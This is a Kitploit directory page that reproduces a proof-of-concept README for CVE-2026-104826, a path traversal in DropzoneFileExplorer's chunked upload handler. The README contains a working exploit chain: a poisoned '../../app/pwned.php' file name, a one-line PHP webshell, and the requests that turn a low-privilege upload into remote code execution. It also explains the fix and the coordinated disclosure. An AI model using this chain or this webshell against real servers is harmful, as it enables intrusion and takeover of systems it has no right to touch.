Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-104826 — Cadeia de exploração proof-of-concept para CVE-2026-104826, uma path traversal no manipulador de upload em chunks do DropzoneFileExplorer que grava um webshell PHP para execução remota de código. | Kitploit
Ferramentas/GitHubGitHub/kiwknr/cve-2026-104826
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoFerramenta de Acesso Remoto
GitHubkiwknr/cve-2026-104826

CVE-2026-104826

Cadeia de exploração proof-of-concept para CVE-2026-104826, uma path traversal no manipulador de upload em chunks do DropzoneFileExplorer que grava um webshell PHP para execução remota de código.

Ver Repositório
1há 1 diaAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-104826 - Path traversal para RCE no DropzoneFileExplorer

O manipulador de upload retomável (em chunks) confia no fileName fornecido pelo cliente até chegar ao fopen(). Alimente-o com ../../ e você escreve fora da sua pasta permitida, fora da raiz de armazenamento, dentro da raiz web. A aplicação serve PHP, então o arquivo que você planta é executado.

Projeto: KeepCoolCH/DropzoneFileExplorer

CVECVE-2026-104826
AdvisoryGHSA-7626-89vx-5rpc
ClasseCWE-22 (Path Traversal) -> CWE-434 -> RCE
Authautenticado por padrão, não autenticado se AUTH_ENABLE=false
CVSS v4.08.5 Alto (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H)
Afetadov1.1 (testado no commit 68858e0)
Corrigido emv1.2
CréditoKanarat Kaeothong (Axiom0x)

Onde quebra

Duas funções importam. uploadInit pega fileName do corpo da requisição e o mantém sem nada além de um trim() (inc/functions.php, por volta da L2080):

$fileName = trim((string)($body['fileName'] ?? 'file'));   // no basename(), no norm_rel()
// ...stored verbatim in the upload's meta.json

uploadFinalize depois o lê de volta e monta o caminho de saída (inc/functions.php, L2192-2216):

$destDir     = norm_rel((string)($meta['destDir'] ?? ''));       // normalized
$relPath     = norm_rel((string)($meta['relativePath'] ?? ''));  // normalized
$fileName    = (string)($meta['fileName'] ?? 'file');            // NOT normalized

$destBaseAbs = abs_path($destDir);
ensure_inside_allowed_roots($destBaseAbs);                        // dir is checked
$finalDirAbs = $destBaseAbs;
if ($relPath !== '') {
    $finalDirAbs = $destBaseAbs . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $relPath);
    ensure_inside_allowed_roots($finalDirAbs);                    // dir is checked
}

$finalName = $fileName;
$finalAbs  = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName;     // traversal lands here
// ...
$out = @fopen($finalAbs, 'c+b');                                 // arbitrary write

ensure_inside_allowed_roots() está correta por si só. Ela chama realpath() e garante que o caminho permaneça sob as raízes do usuário. O problema é o que ela recebe. $destBaseAbs e $finalDirAbs são ambos validados, mas $finalAbs, o que de fato contém o fileName do atacante, nunca é. fopen() recebe a string bruta .../shared/../../app/shell.php e o SO colapsa o .. para você.

Vale notar: todos os outros caminhos de escrita neste código ou passam o caminho composto por ensure_inside_allowed_roots() ou envolvem o nome em basename(). Este não faz nenhum dos dois. Parece um ponto que foi refatorado e a verificação final se perdeu.

Reproduzir

v1.1 original, configuração padrão (AUTH_ENABLE=true). O ator é um usuário normal lowpriv cuja única pasta é shared.

  1. Faça login como lowpriv (pegue o token CSRF da página de login, depois faça POST de auth_action=login).

  2. Confirme que o sandbox realmente funciona. Enviar diretamente para a pasta de outra pessoa é recusado:

    POST /index.php?action=uploadInit
    {"destDir":"secret_admin_area","fileName":"x.txt","fileSize":0,"policy":"overwrite"}
    -> {"ok":false,"error":"Access denied"}
    
  3. Use a pasta permitida, mas envenene o fileName:

    POST /index.php?action=uploadInit
    {"destDir":"shared","fileName":"../../app/pwned.php","fileSize":0,"policy":"overwrite"}
    -> {"ok":true,"uploadId":"..."}
    
  4. Envie o payload como um único chunk:

    POST /index.php?action=uploadChunk   (multipart)
    uploadId=<id>&index=0&total=1  + file field "chunk" = <?php system($_GET['c']); ?>
    -> {"ok":true}
    
  5. Finalize:

    POST /index.php?action=uploadFinalize
    {"uploadId":"<id>","policy":"overwrite"}
    -> {"ok":true,"path":"app/pwned.php"}
    

    A resposta reporta app/pwned.php. A própria aplicação está dizendo que escreveu fora de shared e fora da raiz de armazenamento.

  6. Execute:

    GET /pwned.php?c=id
    -> uid=... (command output)
    

Da minha própria execução contra uma instância local:

GET /pwned_axiom.php?c=id
uid=501(miniq) gid=20(staff) ...

GET /pwned_axiom.php?c=uname+-a
Darwin ... arm64

Veja poc/exploit.py para a cadeia completa (login, CSRF, poison, chunk, finalize, execute).

Impacto

Qualquer pessoa autorizada a fazer upload pode escrever um arquivo onde quer que o processo PHP possa escrever, independentemente do que as regras de pasta por usuário digam. Um arquivo .php na raiz web é execução remota de código como o usuário web. Com AUTH_ENABLE=false não há etapa de login e é RCE não autenticado direto.

Correção

Em uploadFinalize, reduza fileName a um nome simples antes de abri-lo, e verifique novamente o caminho composto:

$finalName = basename($fileName);            // kill any path component
$finalAbs  = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName;
ensure_inside_allowed_roots($finalAbs);      // and verify the real target

basename() sozinho já interrompe o traversal. Adicionar a verificação ensure_inside_allowed_roots($finalAbs) é a versão com cinto e suspensórios, e corresponde a como o resto do código já protege as escritas. O mesmo tratamento precisa ser aplicado ao ramo da política rename (por volta da L2210), onde $finalName é recalculado. O mantenedor incluiu isso na v1.2.

Linha do tempo

  • 2026-07-26 encontrei, construí e executei a cadeia completa contra uma v1.1 local
  • 2026-07-27 reportado em privado (GitHub Security + e-mail ao mantenedor)
  • 2026-07-27 GHSA privado aberto (GHSA-7626-89vx-5rpc)
  • 2026-07-28 mantenedor confirmou e lançou a v1.2, advisory publicado
  • 2026-10-02 GitHub CNA atribuiu CVE-2026-104826

Referências

  • Advisory: https://github.com/KeepCoolCH/DropzoneFileExplorer/security/advisories/GHSA-7626-89vx-5rpc
  • Registro CVE: https://www.cve.org/CVERecord?id=CVE-2026-104826

Divulgação coordenada, corrigido antes de se tornar público. O PoC é deliberadamente voltado para uma instância de teste local. Não aponte para nada que você não possua.

Baixar ferramenta